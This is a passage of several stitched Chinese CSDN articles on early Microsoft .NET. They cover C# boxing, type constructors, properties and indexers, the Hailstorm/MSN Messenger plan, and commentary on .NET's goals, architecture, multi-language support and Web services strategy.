Int32 v = 5; // 创建一个框出的数值类型变量
Object o = v; // o 既是v的框入版本

v = 123; // 改变框出的数值类型为123
Console.WriteLine(v); // 显示 "123"

v = (Int32) o; // 框出 o 到 v
Console.WriteLine(v); // 显示 "5"
}

在这段代码中，你计算了有多少框入操作吗？答案是一次。之所以只有一次框入操作是因为有一个接收Int32类型作为参数的WriteLine方法。

public static void WriteLine(Int32 value);

在两次WriteLine调用中，变量v（Int32框出数值类型）被用值传递。WriteLine可能在内部框入，而你无法控制它。重要的是你已经尽了最大努力并且从代码中排除了这次框入。
当你知道所写的代码会引起编译器产生大量的框入代码，如果转用手工方法框入数值类型的话，你将会得到更小更快的代码，如图四
C#编译器自动产生框入和框出代码。它使得编程更容易，但它对关心性能的程序员隐藏了开销。与C#语言一样，其它语言也可能隐藏框入和框出细节。但某些语言可能强制程序员显式地编写框入和框出代码。例如，C++受管扩展需要程序员显式地用__box操作符框入数值类型，框出操作是通过使用dynamic_cast.强制转换框入类型为与其等价框出类型。
最后要注意：如果一个数值类型不重载由System.ValueType定义的虚拟方法，那么这个方法只能在这个数值类型的框入形式上调用。这是因为只有这个对象的框入形式具有虚表指针。用数值类型直接定义的方法则可以这个值的框入和框出两个版本调用。

结论
在本文中讨论的概念对于.NET开发人员来说至关重要。你应该真正理解引用类型和数值类型之间的差别。同时还必须理解哪种操作需要框入，以及你所使用的编译器是否自动框入数值类型（象C#和Visual Basic）。如果是，你还应该了解编译器何时进行框入操作以及对代码有什么影响。对这些概念怎么强调都不过分，任何误解都会容易导致程序性能下降甚至是难以察觉的bugs。


csdn_.NET中的特殊类型成员

  .NET中的特殊类型成员
译文/赵湘宁
.NET中的特殊类型成员

----微软 .NET平台系列文章之三

在前面的两篇文章中，我们研究了类型的基础知识。本文我们将考察类型能定义的某些特殊成员。在大力简化处理类型及其对象实例需要的语法方面，这些类型有助于面向对象设计。

类型构造器
你已经熟悉了什么是构造器，它负责对象实例状态的初始化。除了实例构造器以外，Microsoft(r).NET公共语言运行时（CLR）还支持类型构造器（也叫做静态构造器、类构造器或类型初始化）。类型构造器可被应用到接口，类和数值类型。它允许任何在类型中声明的成员被访问之前实现必要的初始化。类型构造器不需要参数并且总是返回void类型。类型构造器只访问类型的静态字段并且其通常的目的是初始化这些字段。在类型的任何实例被创建之前以及类型的任何静态字段或方法被引用之前，必须要保证已经运行了类型构造器。
许多语言（包括C#）在定义类型时都自动产生类型构造器。但是某些语言需要显式（手工）实现类型构造器。
为了理解类型构造器，让我们研究一下列在C#中定义的类型：

class Atype {
static int x = 5;
}

在建立这个代码时，编译器自动地为产生Atype类型构造器。这个构造器负责初始化静态字段x为值5。如果你使用ILDasm，很容易认出类型构造器方法，因为它们的名字都是.cctor（对于类构造器而言）。
在C#中，通过在类型中定义静态构造器方法，你可以自己实现类型构造器。关键字static的使用意味着这时类型构造器，而不是实例构造器。下面是一个非常简单的例子：

class AType {
static int x;

static AType() {
x = 5;
}
}

这个类型定义与前面的相同。注意类型构造器决不能试图创建自己的类型实例，而且构造器也不能引用类型的非静态成员。
最后，如果你用C#编译器编译下列代码，它产生单独的类型构造器方法：

class AType {
static int x = 5;

static AType() {
x = 10;
}
}

这个构造器首先初始化x=5，然后，初始化x=10。换句话说，编译器产生的结果类型构造器首先包含静态字段的初始化代码，随后是类型构造器的代码。

属性
许多类型定义的属性可以被重新获得或修改。这些属性常常都是用类型字段成员来实现的。例如，下面是包含有两个字段的类型定义：

class Employee {
public String Name;
public Int32 Age;
}

如果创建这个类型的实例，那么很容易用以下代码得到或设置属性：

Employee e = new Employee();
e.Name = "Jeffrey Richter"; // 设置名字属性
e.Age = 36; // 设置年龄属性

Console.WriteLine(e.Name); // 显示 "Jeffrey Richter"

用这种方式使用属性非常普通。但以我的观点看，上述代码不会向列出的那样被实现。面向对象设计和编程的立约之一便是数据抽象。它的意思就时类型字段不能用公共字段暴露出来，因为它太容易被修改，太容易让人写出不恰当地使用这个字段的代码，从而破坏对象的状态。例如，某人很容易编写下面的代码破坏Employee对象：

e.Age = -5; //人的年龄怎么会是-5呢？

所以说，在设计类型时，我强烈建议所有字段都是私有的（private）或至少是受保护的（protected）——决不要公共的（public）。然后，让使用类型的人能Get或Set属性，专门为此提供方法。打包对字段的访问的方法就叫做存取器（或访问器方法）方法。这些方法能随时实现完整性检查并保证对象的状态不被破坏。例如，我重写了前面定义过的Employee类，代码如图一。虽然这是一个简单的例子，但你能从中明白抽象数据字段的巨大好处，你还能从中明白如何轻松实现只读属性，或者仅仅通过不去实现某个存取器方法来轻松达到只写属性。
图一中显示的数据抽象方法有两个缺点。第一，因为要实现附加的函数，所以要多写一些代码。第二，类型的使用者现在必须要调用方法而不是仅仅引用单个的字段名：

e.SetAge(36); // Updates the age
e.SetAge(-5); // Throws an exception

我想，所有的人都会同意这些缺点与其优点比起来显得微不足道，但运行时仍然提供了一种属性机制，多少使得第一个缺点容易忍受了，并且完全消除了第二个缺点。
图二中的类使用了属性，其功能和图一所示的类相同。正如你所看到的，属性简化了一些代码，但更重要的是允许调用这项下面一样写自己的代码：

.Age = 36; // 更新年龄
e.Age = -5; // 掷出异常Throws an exception

Get属性存取器的返回值和传递到Set属性存取器参数值类型相同。Set属性存取器的返回值是void，而Get属性存取器没有入口参数。属性可以是静态的、虚拟的、抽象的、内部的、私有的、保护的或公共的。另外，属性可以在接口中定义，关于这一点将在后面讨论。
我还应该指出属性不必于字段关联。例如，类型System.IO.FileStream定义了一个长度属性，它返回流中的字节数。当长度属性的Get方法被调用时，这个长度不是由字段提供，而是调用另一个函数请求底层操作系统返回打开文件流的字节数。
当你创建属性时，编译器实际上发出专门的get_ProName和/或set_ProName存取器方法（这里ProName是属性名）。大多数编译器会理解这些专用方法并允许开发人员存取这些有专门属性语法的方法。但是，遵守公共语言运行时规范的编译器不需要完全支持属性，只要支持专用存取方法调用即可。
另外，对于完全支持属性的编译器来说，在定义和使用属性时使用的语法稍有不同，例如带受管扩展的C++需要使用_property关键字。

索引属性
某些类型，如System.Collections.SortedList暴露逻辑元素列表。为了能轻松存取这种类型中的元素，可以定义一个索引属性（也叫索引器-indexer）。图三显示的是一个索引属性的例子，其索引器的的使用极其简单：

BitArray ba = new BitArray(14);
for (int x = 0; x < 14; x++) {
// 置所有偶数位为“on”
ba[x] = (x % 2 == 0);
Console.WriteLine("Bit " + x + " is " + (ba[x] ? "On" : "Off"));
}

图三的BitArray例子中，索引器带一个Int32参数：bitPosition。索引器必须至少带一个参数，参数个数可以是两个或更多。这些参数（以及返回类型）可以是任何类型。创建以String作为参数的索引器查找联合数组中的值是十分普通的事情。一种类型可以提供多个索引器，只要其原型不同。
就像set属性，set索引器存取方法包含一个隐藏的参数，值，当存取方法被调用时，它表示想得到一个新的值。BitArray的set存取方法显示了这个参数值的使用。

一个设计良好的索引器应该具备get和set两个存取方法。即便你能只实现get存取方法（对于只读语义）或者只实现set存取方法（对于只写语义），建议你的索引器实现两个存取器。理由很简单，索引的使用者不希望只有半个行为。例如，当编写下面两行代码时，使用者不想看到编译器出错：
String s = SomeObj[5]; // 如果有存取器，编译 OK
SomeObj[5] = s; //如果没有存取器，编译出错

索引器总是起类型实例的作用，并且不能被声明为静态。但它可以是公共的、私有的、保护的或内部的。
当你创建索引属性时，编译器实际上会发布专门的get_Item和/或set_Item存取器方法。大多数编译器都会理解这些专门的方法并且会允许开发人员利用专门的索引属性语法存取这些方法。但是，与CLS（公共语言系统）兼容的编译器不需要完全支持索引属性；只要编译器支持专用存取器调用即可。
同样，对于完全支持索引属性的编译器在定义和使用这些属性的时候，需要的语法稍有差别。例如，C++受管扩展需要使用_property关键字。

结论
本文中所讨论的概念对于所有.NET的程序员来说极其重要。我所提到的特殊的类型成员使组件成为公共语言运行时最重要的内容。也就是说，现代组件被设计成支持属性。
下一篇文章我将介绍委派和事件成员，因为它们与基于组件的应用开发和设计是不可分割的一个整体。


csdn_冰雹欲来风满楼--.NET计划初露锋芒

  冰雹欲来风满楼--.NET计划初露锋芒
作者：Jaro
冰雹欲来风满楼--.NET计划初露锋芒

最近一位不愿透露姓名的人士向外界透露，根据他所出席的微软Halistorm（本意为：冰雹，它是下一个版本的MSN Messenger以及支持它的互联网服务的代码名，我们也可以这样理解，Hailstorm是一系列的互联网服务，包括微软新一代的文件互联网认证服务和MSN Messenger即时消息技术。）技术设计预览会议透露的信息，很可能在明年年初，全世界的用户都会亲眼目睹到微软一直在秘密进行的“冰雹”计划的风采。

Halistorm究竟是怎么一回事？

MSN Messenger的Halistorm版本将融入一些新的技术，同时增加几个新的连接互联网服务的标签项。而Ebay和其它一些公司正计划针对新标签项推出一些新的服务项目。OH，对了，你，一个普通的用户也能够通过MSN Messenger设计自己的网络服务。比如，我们可以把消息通过SOAP（SOAP是一种根据延伸标示语言（XML）的协议，用来在分布式计算机环境中共享资料，由微软公司、DevelopMentor与UserLand Software研发，后来IBM、Lotus、惠普、升阳等公司也表示支持，使SOAP演变成网络服务的主要技术标准。）直接发送到你的MSN Messenger，或者利用我们得到的资料、素材直接影响、改变你的安排。好好想想吧，这将对你的生活产生什么样的影响呢？我们也许可以提供一项网上列车时刻表服务，借助微软的新技术，随时把最新的列车到发信息送到你的桌面或其他设备。而如果你再大胆地展开自己联想的翅膀，就会发现这对于象联邦速递、星巴克等大公司的意义很可能是革命性的！据ActiveWin网站介绍TDWaterhouse最近宣布它正在制作一个针对CE用户的新网站，由此还可以想像一下，那时候你将在股票价格达到一定水平时马上就能够从自己的手持电脑或其他设备中得到即时信息，并且可以随时通过你的即时通讯软件把股票卖掉或者完成其它任何工作。

再有一点就是将电子邮件和在线信息相结合。在不久的将来，你的朋友一上线全新设计的Outlook就可以立即提醒你，而MSN Messenger将成为一个网络服务，它可以聪明地把自己的功能与其它应用程序或者是网站服务集成。（其实现在的MSN Messenger已经多多少少地实现了这样的服务，比如当你登录MSN.com时，就可以清楚地看到网站上已经体现了MSN Messenger的一些技术。）

最后，也是最吸引人的一点就是网络核心化。比如，你需要更大的存储空间，那么将不必再去费心购买一块新硬盘装上，你唯一要做的就是在互联网上增加一些Halistorm空间即可。

如果再加上实施已久的Passport技术，你更可以在网上游荡四方而没有限制。这个由微软提供的互联网身份鉴定服务，可使用户只需注册一次，就可以通过任何一种联网设备访问Hotmail电子信箱账户。

以上介绍的所有新特性（包括：SOAP和XML远程服务）都将建立在.NET构架之上，微软希望Hailstorm能够将自己传统的软件开发平台扩展到任何可以上网的PC或其他装置上，包括非Windows设备。并旨在将上面提到的网络服务轻松实现。如果真能如微软所愿，那么我们真的将迎来一个崭新的世界。

Halistorm的忧患

那么HaliStorm的弊端呢？如果有上百家公司同时向你的MSN Messenger发送无用信息该怎么办？那时你的生活可真的要经受一次冰雹的洗礼啦。为此我们可能不得不冥思苦想出一种基于规则的过滤机制，好把这些没有的信息统统“枪毙”。还有就是微软的Passport技术潜在获取用户过多信息，而且如果用户把信用卡号等数据委托给远程服务器控制，可当我们要花钱时却无法上网又该怎么办呢？其实就是现在我们也已经被铺天盖地的垃圾信息搞得头疼难耐，想想将来这些垃圾持续不断地攻击你的桌面时的情景吧！

那么这项新技术蕴涵的商机如何呢？可以肯定地说，非常巨大！如果你正和自己的商业伙伴谈一笔生意，那么还有比通过互联网进行即时通讯更好的手段吗？如果HaliStorm真的能够完全向开发者开放，那么我们将不得不承受从前根本想不到的大量全新应用软件的“轰炸”。

看起来微软已经将历来战无不胜的枪口瞄准了AOL的AIM和ICQ，而且这些软件想要和以全新标准为核心的MSN Messenger相抗衡实在是不容易。

Halistorm留下的疑问

目前我们还不知道Halistorm是否能支持RSS以便用户的话可以自动导入将即时通讯信息？同时我们是不是能够利用HaliStorm来搜索特定的文件呢？微软是将努力避免Napster模式还是将给第三方软件保留部分空间使其与Halistorm整合形成Napster的特点呢？用户将很可能希望把自己收集的信息通过MSN Messenger进行共享，那么唱片业对此会不会又有什么看法呢？

而Halistorm会具有什么样的P2P特性呢？我们是否能够像使用Groove软件那样与其他用户一起网上冲浪、或共同协作处理文档、或共享自己的日历、或一起参加视频会议、或共享各自的应用程序？或许是采用Seti模式使开发者可以让应用程序共享带宽与CPU资源？

另外，Halistorm将支持什么样的平台呢？有多少新特性会运用到康柏的的IPaq中？又有多少将会运行在微软新的"Stinger"电话上呢？当然，最重要的还是Halistorm将采用什么样的商业模式进行运作？这项技术到底价值多少？如果一些公司将这项技术改头换面用到它们的商业行为中，微软会对此置之不理吗？那么个人用户如果利用Passport进行信用卡的交易又该支付多少费用呢？

我们有这么多的问题，还是让我们继续关注冰雹到底会怎么样砸到我们的脑袋上吧。:-)


csdn_.NET的目标（一）

  .NET的目标（一）
作者： 仙人掌工作室
     概述

     在去年7月美国奥兰多举行的专业开发者大会上，Microsoft展示了它最新的.NET体系，众多的发言人向大会介绍了.NET的特征和构成。

     什么是.NET呢？实质上，.NET是Microsoft贴在现有产品和未来产品上的一个新式行销标签。在Microsoft服务器端产品中，如基于Windows DNA 2000技术的BizTalk Server 2000和Application Center 2000，.NET标签将随处可见。然而，.NET最令人感兴趣的特色却在于它的开发平台、语言和协议。

     通过.NET，Microsoft为我们提供了一种全新的开发平台，这个平台将推动以新体系为基础的协同Web应用开发。根据Microsoft的说法，.NET至少将成为一种“对Web编程”的方法。当前，第一版Visual Studio .NET已经出现，由此出发，我们或许可以比较精确地勾画出.NET平台最终的全貌。

     可以说，无论是在技术上还是在战略上，Microsoft都对.NET寄予了厚望。当前的DNA 2000技术并未包含新的.NET平台；相反，.NET将是一种全新的技术，有望揉合许多根本性的、深层次的创意。

     作为一种全新的平台和技术，.NET带来了许多新的产品，但这些产品和现有技术的兼容性未能获得百分之百的保证。.NET支持27种编程语言，它们将共享一组提供基本服务的类。.NET应用不再直接在裸机上运行，由于看好一种运行在虚拟机CLR（Common Language Runtime）上的称为MSIL的中间语言，Microsoft放弃了Intel x86代码。


csdn_.NET的目标（二）

  .NET的目标（二）
作者： 仙人掌工作室
此外，.NET大量地运用了XML技术，并赋予SOAP协议极其重要的地位。借助于SOAP，Microsoft希望将软件开发带入一个新的时代，即不再依赖于装配组件和对象，而是以重用服务作为软件开发的基础。SOAP和Web服务共同构成了.NET平台的基础。

     然而，为当前正在开发的DNA应用的未来而担心仍旧是没有必要的。Microsoft已经承认，发布.NET最终版本的时间不会早于2002年，而且.NET能够直接在裸机上运行现有的应用，但这些应用将无法利用任何.NET的优势。

     和Microsoft让我们相信的相反（显然那是为了安慰现有的用户），.NET对现有体系的改变非常深入，而且几乎影响了DNA体系中的一切：

由于看好多进程模式，IIS服务器放弃了高效但不稳定的多线程模式。 ASP技术让位给了ASP.NET（最初叫做ASP+），解释执行的代码将象JSP一样在第一次调用时被编译执行的代码取代。
诸如ATL和MFC之类的Win32 API由一组相关的Base Framework类取代。
为了遵从CLS规范（Common Language Specification，公共语言规范），VB.NET加入了大量.NET的特色，因此不再保证与VB6的兼容。
提供全新的分布式组件模型COM+ 2.0。COM+ 2.0没有从COM/DCOM/COM+系列技术继承任何内容。COM+ 2.0不再使用Windows注册表来注册本地或者远程的组件，在.NET中部署组件就象很久以前安装应用软件一样简单方便：安装软件就是把文件复制到某个目录下面；删除软件就是从目录下面删除它的文件。
诞生了一种新语言C#。这是一种新式的面向对象编程语言，有点儿象是C++和Java的混合物。C#由Anders Hejlsberg创建，Anders Hejlsberg也是Borland许多语言和工具的设计者，包括著名的Delphi。
以SOAP和Web服务为基础的新编程模式从根本上改变了应用的设计方法，并带来了一种新的职业：在线提供Web服务。
     这些改变趋向于在Windows 2000操作系统和提供应用服务的上层之间建立宽松的连接。为了更深入地说明这些变化，下面本文将作更为详细的阐述。

     更甚者，这些技术上的变化又与.NET平台大量采用各个中立组织（如W3C、IETF以及ECMA等）的标准有机结合，包括Gartner Group在内的许多分析家由此得出这样一个结论：“Microsft正在趋向开放”。


csdn_.NET的目标（三）

  .NET的目标（三）
作者： 仙人掌工作室
从战略角度来看，Microsoft已经找到了在Internet上占据优势地位的道路。虽然Microsoft已经为这个目标努力了很久，但直到不久之前，它还不能确定真正该做的是什么。（我们应该还记得发生在IE浏览器上的趣事：Microsoft免费为每一台Windows PC预装了IE，许多IE特有的功能给竞争对手Netscape带来了不可忽视的威胁。）

     今天，Microsoft通过.NET为我们展示了一个由无数可协同运行的Web应用所构成的Internet，所有这些Web应用都来自全球服务交换网络。Simple Object Access Procotol（SOAP，简单对象访问协议）和XML构成了这些Web服务的基础。SOAP协议最初由DevelopMentor、Microsoft以及Userland Software提交给IETF，目前已经有包括IBM在内的许多软件商参与到SOAP之中。

     这些Web服务不仅会在Internet上获得进一步发展，而且它们还会改变企业内部规划信息系统的方法，把SOAP系统地用作应用集成的中间件，并担负起简单但高效、标准EAI（Enterprise Application Integration，企业应用集成）的角色。这样，企业信息系统还可以成为前端和后端办公应用的网络，这些办公应用通过SOAP协作、互相地调用各自实现的服务。

     Microsoft已经在多媒体出版领域获得了一系列的成功。它可能借助这些经验，然后通过出租或者订阅各种Web服务的形式快速成长为该领域的服务商。对Microsoft作这样的假定应该不是轻率的。

     但与此同时，其它公司也没有停滞不前：IBM以及最近的Oracle都已经宣布提供支持Web服务的产品：IBM很久以来一直是SOAP的支持者，它在自己的Alphaworks网站上提供了“Web Services Development Environment”（Web服务开发环境）；Oracle也在 9i中采用了SOAP。Oracle同时宣称提供“Dynamic Service”（动态服务），但它的定义似乎尚未明确。

     因此，Web服务可能帮助Microsoft实现创收模式的转变：在原来的模式中，主要的收入来自为单机设计的有形产品及其许可的销售；在新的模式中，主要收入大概会来自订阅或者租用由软件基础设施提供的服务，我们可以猜想它们中的一部分将是免费提供的。有些谣传一致认为，Microsoft最终会免费提供它的SDK和命令行编译器，在市场上销售的将只有一个Visual Studio .NET。这种战略正是Java之所以获得成功的原因之一，自Java诞生起它的JDK就是免费的。


csdn_.NET体系结构（一）

  .NET体系结构（一）
作者： 仙人掌工作室
在Microsoft的宣传中，所有未来的桌面和服务器软件都将加上“.NET”标签，其中包括Office套件、SQL Server数据库以及Biztalk Server。

     接下来我们将深入地分析.NET体系以及用于设计和创建企业Web应用的工具，但首先我们可以将.NET体系描述如下：

它是一组公共的服务，可以用于许多面向对象的语言。
这些服务以中间代码的形式运行。中间代码独立于底层体系。
服务在一个运行时环境（Common Language Runtime，CLR）下运行，由CLR管理资源并监视程序运行。
     从上面的简单描述出发，人们很容易联想到Java，这是很自然的。事实上，Microsoft并不讳言它的创意在很大程度上借鉴了现有的技术特别是Java。

     .NET的主要目标是帮助开发者通过“Web服务”创建可从任何类型的设备访问的协同应用，例如访问设备可以是PC、PDA、移动电话等等。


csdn_.NET体系结构（二）

  .NET体系结构（二）
作者： 仙人掌工作室
● 多语言支持

     Microsoft在.NET平台上提供了好几种语言以及相应的编译器，比如C++、JScript、VB.NET（也称为VB 7）以及C#。C#是随同.NET出现的一种新语言。

     和Microsoft合作的第三方供应商正在为大量其他语言开发编译器，其中包括Cobol、Eiffel、CAML、Lisp、Python以及Smalltalk等。Rational是著名的UML工具Rose的开发商，它也加入了这个队伍，正在为完成.NET的Java编译器而努力。

     ● 应用的平台独立性

     所有用这些语言写成的程序都将被编译成一种中间二进制代码，独立于硬件和操作系统之外。这种二进制代码的语言称为MSIL，即Microsoft Intermediate Language。MSIL代码在Common Language Runtime（CLR）环境内执行，它将立即由Just in Time（JiT）编译器转换成机器代码。在这个过程中，CLR的角色基本上和Java平台中的JVM相似。

     ● 应用的可移植性

     编译成中间代码的应用以Portable Executable（PE，可移植执行文件）的形式出现。由此，Microsoft得以在大量的硬件和软件体系下为.NET平台提供全部或者部分实现，例如：运行Windows 9x、Windows NT4、Windows 2000或者未来64位Windows的Intel PC，基于微控制器以及Windows CE的个人数字助理，以及毫无疑问还有其他各种操作系统。

     ● 所有语言必须遵从一种公共的协议

     计算机语言的种类繁多。传统上，新语言总是为了满足新的需求而开发，比如解决科学问题、进行统计计算，或者为了满足对应用可靠性和安全性的高要求，等等。结果就导致所有这些语言都千差万别：有些是面向过程的，有些是面向对象的，有些允许使用可选参数以及允许参数个数变化，有些允许操作符重载，而有些不允许，等等。

     如果某种语言要获得.NET平台的支持，那么它必须提供在CLS（Common Language Specification，公共语言规范）中列出的一组功能和构造器。从理论上看，要将一种语言加入到.NET环境，只需让这种语言符合CLS的要求，然后编写一个将这种语言编译成MSIL的编译器。

     初看起来，实现这些要求似乎无伤大雅、简单易行。但实际上，CLS对各种.NET语言的影响是非常深刻的。例如，Visual Basic.NET最终成了一种新语言，只保留了很少的Visual Basic 6语法特征。

     所有.NET语言编写的程序都要编译成中间代码，这一事实意味着用一种语言写的类或许会在另一种语言中被派生，也有可能在一种语言环境中创建另一种语言编写的类的实例。


csdn_.NET体系结构（三）

  .NET体系结构（三）
作者： 仙人掌工作室
今天，如果要创建COM+对象，我们一般可以选择VB6或者Visual C++。但VB6不能访问某些功能，因此在有些情形下，我们的唯一选择是Visual C++。在.NET下，所有的语言都具有同样的能力，而且一般具有同样的性能级别。这意味着，我们可以按照自己的习惯在VB.NET和C#之间随意选择，无需考虑实现过程中的限制。

     或许有人会感到奇怪，这怎么可能呢，是魔术吗？不是的。事实上，从更深入的角度来看.NET的多语言，虽然Microsoft允许我们随意选用Visual Basic的语法、C++的语法或者Eiffel的语法来编写代码，但实际上我们可以说.NET只支持一种语言，即MSIL。

     毫无疑问，为了让C#和Cobol这样完全不同的语言能够提供同样的服务，我们必须保证这些语言具备了.NET所要求的公共特征。这意味着，Cobol的.NET版本必须加入如此多的新概念和功能，以至于新的Cobol和原先的Cobol实际上已经很少有相同之处。这一点对所有其他.NET上运行的语言（例如C++、VB、Perl和Smalltalk）都完全一样。

     因此，我们必须理解的是：一旦Mcirsoft发布了27种用于.NET平台的语言，我们应该将它解释成有了27种不同的编程语法。

     最为突出的一个例子就是Java。Java是.NET预定要支持的语言之一，而且Rational正在编写把Java编译成MSIL的编译器。然而，这种Java又是怎样的Java呢？这种Java将以MSIL代码的形式运行，而不是字节码；这种Java不能利用J2EE平台提供的、按照惯例应该提供的API，比如JMS、RMI、JDBC以及JSP；在这种Java中，EJB已经被.NET的分布式对象模型取代。尽管它的名字叫做Java，它的语法也是Java——但它却不是真正的Java！

     当然，Java的情况有点儿特殊。事实上，在Java专家的眼中.NET更象是一种Java的劣质复制品，而且可以把它视为Microsoft处心积虑破坏Java前途的一个证据。最近几年，Sun和Microsoft的关系充满了争吵和诉讼，Microsoft当然不可能在新的.NET平台中提供对Java的完整支持并参与推动Java的发展。

     有人认为，从现状来看，对于任何想要保持与Sun J2EE平台高度兼容的人来说，.NET中的Java支持是没有任何用处的，而且可以相信这种Java唯一的目标在于吸引开发者。Microsoft的策略是争取开发者依赖其历史上的优势，最终达到扩大.NET影响的目的。

     类似地，Microsoft明智地接受了某些流言，比如对有关Unix甚至Linux上最终会出现.NET平台的谣传推波助澜。Linux越来越受到开发者的欢迎，只要是使用服务器的地方，Linux已经隐然成为Windows NT的竞争对手。Microsoft有意使.NET的Linux支持问题模糊不清，从而使它能够吸引免费操作系统的爱好者。


csdn_.NET应对策略

  .NET应对策略
作者： 仙人掌工作室
最乐观地估计，完整.NET的最终版本（不论是其开发工具，还是.NET服务器家族的产品）在2001年中期之前不太会出现。

     基于Microsoft DNA体系的“老式”应用将仍能在装备了.NET工具的Windows 2000服务器上运行，两种不同的应用能够毫无冲突地同居于一个系统下。

     由此，对于当前和未来的基于DNA的应用，可以认为短期内不会受到任何影响或者威胁。

     Microsoft宣布，用于软件迁移的工具和助手将随同.NET平台一起提供。然而，由于各种原因，我们认为这并不是最完善的方案。首先，软件迁移助手不可能完成所有必须的改动，因此为软件迁移投入足够的时间和资源是必要和明智的。第二，把ASP/VBScript应用转换到ASP.NET/VB.NET并不表示它被自动地转换成了.NET应用，因而有必要修改软件的体系结构，使之能够充分地利用.NET的优势。

     不管Microsoft是否能够实现它所宣布的.NET目标，无可否认，我们设计应用的方法应该为此作出某些改变。随着电子商务和B2B的出现，对于那些互连协作应用的需求其实已经出现了，这些应用就是通过企业网络或者Internet实现了通信。

     由此可以看出，Microsoft寄托在.NET上的主要目标是，在这个客户机-服务器应用的黄金时代提供新的工具，使得开发应用就象几年以前用Visual Basic开发Windows应用一样简单方便。

     那么，如何来看待.NET呢？排除所有关于Microsoft的偏见，我们可以明确地说，一个合理的策略应该是持续地跟踪和关注.NET和类似的技术，以及这些技术之所以得以发展的基础，例如XML和SOAP。


csdn_.NET真面目（上）

   NET真面目（上）
作者：葛声
    2000年6月，微软公司推出了“Microsoft.NET下一代互联网软件和服务战略”，引起IT行业的广泛关注。2000年9月，微软公司在旧金山发布了Enterprise 2000。同月，微软原总裁兼首席执行官鲍尔默来到中国就“下一代互联网”的主题进行演讲，在中国掀起了一股“.NET旋风”。

    2000年11月，微软在Comdex计算机大展上发布了Visual Studio.NET软件，并展示了其.NET发展战略的框架体系和开发工具的相关特性，全面加速了微软以.NET技术进军市场的步伐。

    随着.NET步伐的一步步加快，作为中国IT界的一分子，我们无论从那一种角度出发，都需要仔细地审视一下.NET本身的内容及其背后的潜台词。

    .NET真面目
    .NET的发生发展离不开IT业界数年来围绕着Internet的种种发展、起落和沉浮。微软在这一领域中曾经落后过，它一直在奋起直追，激烈的业界竞争和不断的官司缠身使其必须提出一个崭新的战略和概念来重新树立自己在软件业界的信心和地位，这就是.NET。

    在.NET体系结构中，XML是各应用之间无缝接合的关键

    对于.NET到底是什么这个问题，有着各种各样的说法。但当时作为首席执行官的鲍尔默应该最能代表微软公司的观点，他说：“Microsoft.NET 代表了一个集合、一个环境、一个可以作为平台支持下一代Internet的可编程结构。”确实，这句话基本上简单扼要地表述了.NET的外特性。

    .NET首先是一个环境。这是一个理想化的未来互联网环境，微软的构想是一个“不再关注单个网站、单个设备与因特网相连的互联网环境，而是要让所有的计算机群、相关设备和服务商协同工作”的网络计算环境。简而言之，互联网提供的服务，要能够完成更高程度的自动化处理。未来的互联网，应该以一个整体服务的形式展现在最终用户面前，用户只需要知道自己想要什么，而不需要一步步地在网上搜索、操作来达到自己的目的。这是一种理想，但的的确确是互联网的发展趋势所在。

    .NET谋求的是一种理想的互联网环境。而要搭建这样一种互联网环境，首先需要解决的问题是针对现有因特网的缺陷，来设计和创造一种下一代Internet结构。这种结构不是物理网络层次上的拓扑结构，而是面向软件和应用层次的一种有别于浏览器只能静态浏览的可编程Internet软件结构。因此.NET把自己定位为可以作为平台支持下一代Internet的可编程结构。

    .NET的最终目的就是让用户在任何地方、任何时间，以及利用任何设备都能访问他们所需要的信息、文件和程序。而用户不需要知道这些东西存在什么地方，甚至连如何获得等具体细节都不知道。他们只需发出请求，然后只管接收就是了，而所有后台的复杂性是完全屏蔽起来的。所以对于企业的IT人员来说，他们也不需要管理复杂的平台以及各种分布应用之间的工作是如何协调的。

    .NET Framework包括通用语言运行环境、Framework类库和Active Server Pages+

    有了理想目标和相应可编程Internet软件结构，.NET这样的一个协同计算环境的具体实现还必然需要一系列的软件产品支撑，因此微软的.NET还包括一个产品的集合。这个集合包含以下组成部分：

    .NET平台

    这一平台建立在XML和因特网标准协议的基础上，包含了.NET的基础结构和基础工具，为开发新型的互动协作软件提供了一个先进的体系结构模型。

    .NET系列产品和服务

    如MSN.NET、OFFICE.NET、Visual Studio.NET、bCentral.NET等。

    第三方厂商的.NET服务

    建立在.NET平台和产品上的面向不同应用领域的具体服务。

    从上面对.NET的简单分析可以看出，在对新技术和IT产业的推动上，无论如何，微软还是功不可没的。但与此同时，也可以推测出，如果.NET一旦成为事实，那么对于其他非应用软件厂商而言，可能会产生巨大的竞争压力。

    .NET的技术特征
    .NET包括4个重要特点，一是软件变服务，二是基于XML的共同语言，三是融合多种设备和平台，四是新一代的人机界面。这四个特点基本上覆盖了.NET的技术特征。

    软件变服务

    史蒂夫·鲍尔默在谈到软件服务时说道，“今天的软件产品仅仅是一张光盘，用户购买软件，亲自安装、管理和维护。但是软件服务是来自因特网的服务，它替用户安装、更新和跟踪这些软件，并让它们和用户一同在不同的机器间漫游。它为用户存储自己的信息和参考资料。这些就是软件和软件服务各自不同的风格。”

    Orchestration可视化编程工具产生基于XML的XLANG代码，它和BizTalk服务器、.NET Framework，以及Visual Studio.NET都曾是Windows DNA 2000战略的重要部分。

    伴随着ASP产业的兴起，软件正逐渐从产品形式向服务形式转化，这是整个IT行业的大势所趋。在.NET中，最终的软件应用是以Web服务的形式出现并在Internet发布的。Web服务是一种包装后的可以在Web上发布的组件，.NET通过WSDL协议来描述和发布这种Web服务信息，通过DISCO协议来查找相关的服务，通过SOAP协议进行相关的简单对象传递和调用。

    微软的.NET战略意味着：微软公司以及在微软平台上的开发者将会制造服务，而不是制造软件。在未来几年之内，微软将陆续发布有关.NET的平台和工具，用于在因特网上开发Web服务。那时，工作在.NET上的用户、开发人员和IT工作人员都不再购买软件、安装软件和维护软件。取而代之的是，他们将定制服务，软件会自动安装，所有的维护和升级也会通过互联网进行。

    基于XML的共同语言

    XML是从SGML语言演化而来的一种标记语言。作为元语言，它可以定义不同种类应用的数据交换语言。在.NET体系结构中，XML作为一种应用间无缝接合的手段，用于多种应用之间的数据采集与合并，用于不同应用之间的互操作和协同工作。具体而言，.NET通过XML语言定义了简单对象访问协议（SOAP）、Web服务描述语言（WSDL）、Web服务发现协议（DISCO）。SOAP协议提供了在无中心分布环境中使用XML交换结构化有类型数据的简单轻量的机制。WSDL协议定义了服务描述文档的结构，如类型、消息、端口类型、端口和服务本身。DISCO协议定义了如何从资源或者资源集合中提取服务描述文档、相关服务发现算法等。

    融合多种设备和平台

    随着Internet逐渐成为一个信息和数据的中心，各种设备和服务已经或正在接入和融入Internet，成为其中的一部分。.NET谋求与各种Internet接入设备和平台的一体化，主要关注在无线设备和家庭网络设备及相关软件、平台方面。

